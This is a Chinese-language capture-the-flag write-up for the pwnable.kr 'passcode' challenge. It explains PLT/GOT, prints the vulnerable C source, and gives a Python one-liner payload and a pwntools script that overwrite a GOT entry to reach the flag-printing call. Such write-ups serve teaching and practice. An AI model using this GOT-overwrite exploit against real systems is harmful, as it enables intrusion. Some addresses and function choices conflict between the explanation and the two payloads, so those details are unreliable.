Pwnable - Passcode 详解
Mommy told me to make a passcode based login system.
My initial C code was compiled without any error!
Well, there was some compiler warning, but who cares about that?ssh passcode@pwnable.kr -p2222 (pw:guest)
原理:简单的GOT溢出攻击,scanf没有加上’&’
知识点:PLT,GOT表的了解
GOT表:
概念:每一个外部定义的符号在全局偏移表(Global offset Table)中有相应的条目,GOT位于ELF的数据段中,叫做GOT段。
作用:把位置无关的地址计算重定位到一个绝对地址。程序首次调用某个库函数时,运行时连接编辑器(rtld
)找到相应的符号,并将它重定位到GOT之后每次调用这个函数都会将控制权直接转向那个位置,而不再调用rtld
。
PLT表:
过程连接表(Procedure Linkage Table),一个PLT条目对应一个GOT条目
当main()
函数开始,会请求plt中这个函数的对应GOT地址,如果第一次调用那么GOT会重定位到plt,并向栈中压入一个偏移,程序的执行回到_init()
函数,rtld
得以调用就可以定位printf
的符号地址,第二次运行程序再次调用这个函数时程序跳入plt,对应的GOT入口点就是真实的函数入口地址。
动态连接器并不会把动态库函数在编译的时候就包含到ELF文件中,仅仅是在这个ELF被加载的时候,才会把那些动态函库数代码加载进来,之前系统只会在ELF文件中的GOT中保留一个调用地址.
GOT覆写技术:
原理:由于GOT表是可写的,把其中的函数地址覆盖为我们shellcode地址,在程序进行调用这个函数时就会执行shellcode。
上述来源于:http://jing0107.lofter.com/post/1cbc869f_8b3d8a5
简单来说,就是每个函数需要调用的时候先是从PLT表之中去寻找该函数入口地址的指针,调用一个函数,控制权将由PLT传递。然后从GOT表中去寻找该函数的地址,GOT表中有相应各个函数的地址,由于PLT表是只读的,但是GOT表是可读的。
PLT —> 函数地址指针 ,GOT —> 函数地址。
###题目源码:
/#include <stdio.h>
/#include <stdlib.h>
void login(){
int passcode1;
int passcode2; printf(“enter passcode1 : “);
scanf(“%d”, passcode1);
fflush(stdin); // ha! mommy told me that 32bit is vulnerable to bruteforcing :)
printf(“enter passcode2 : “);
scanf(“%d”, passcode2); printf(“checking…\n”);
if(passcode1==338150 && passcode2==13371337){
printf(“Login OK!\n”);
system(“/bin/cat flag”);
}
else{
printf(“Login Failed!\n”);
exit(0);
}
}void welcome(){
char name[100];
printf(“enter you name : “);
scanf(“%100s”, name);
printf(“Welcome %s!\n”, name);
}int main(){
printf(“Toddler’s Secure Login System 1.0 beta.\n”); welcome();
login(); // something after login…
printf(“Now I can safely trust you that you have credential :)\n”);
return 0;
}
仔细查看之后发现main函数中没有什么可以利用的,关键点在于login()函数中的scanf中,没有加’&’取地址符号。
如果
scanf
没加&
的话,程序会默认从栈中读取4
个字节的数据当做scanf
取的地址。
在 passcode1 前没有加取地址符号 &,而由于 passcode 1没有初始化,导致这个输入操作会将数据写入 栈中 passcode1 未被初始化时存放的数据指向的地址。
所以我们可以利用这里来进行GOT表覆写攻击。
测试偏移量:
方法1: 查看name地址和passcode1地址,两地址相减(此题中welcome函数和login函数共用同一个ebp)
方法2:welcome函数调用时先输入100个’a’,再查看执行到passcode1的scanf前中断查看栈中的情况,可以看出,welcome 函数中输入的最后 4 字节占据了此时局部变量 passcode1 在栈中的位置。所以在执行 scanf("%d", passcode1);
时会像这里指向的不存在的 0x61616161 处写内容,故而报错。
造成这个偏移量的原因有两点:
- 在 welcome 函数返回后这里进行了堆栈平衡,然而没有清空栈中的内容,login 函数和 welcome 函数又相当于是共享了同一个栈区域;
- passcode1 没有初始化,导致passcode1 在栈中单元里存放的仍是之前栈帧遗留下来的内容。
覆写GOT表:
这里可以选用scanf函数之后的各个函数来进行覆写,我们选用printf。
1.查找system指令的地址
passcode@ubuntu:~$ objdump -d passcode
可以看到system函数地址为0x080485ea。
2.查看printf在GOT表中的地址
- readelf -r target_elf
- objdump -R target_elf
得到printf 在 GOT 中地址为 0x0804a000。
构造PalyLoad:
因为scanf的时候这里用的是%d所以要把system的地址转换成十进制
所以:
payload = ‘a’*96 +‘\x00\xa0\x04\x08’+’\n’+’134514147\n’
1.直接Python运行(Python大法好)
python -c ‘print “a”*96 + “\x00\xa0\x04\x08” + “134514147\n”‘ | ./passcode
2.编写exp
from pwn import *
target = process(‘/home/passcode/passcode’)
fflush_got = 0x0804a004
system_addr = 0x80485e3
payload = “A” * 96 + p32(fflush_got) + str(system_addr)
target.send(payload)
target.interactive()
3.结果
4.原理流程
welcome 中 scanf 函数被调用 –> 输入构造好的字符串,其中最后 4 字节为要覆写的保存有目标函数指令地址的内存单元在 GOT 中的地址 –> login 中的 scanf函数被调用 –> 覆写该位置,即目标函数指令地址被改写,执行该函数时会去到改写后的位置执行。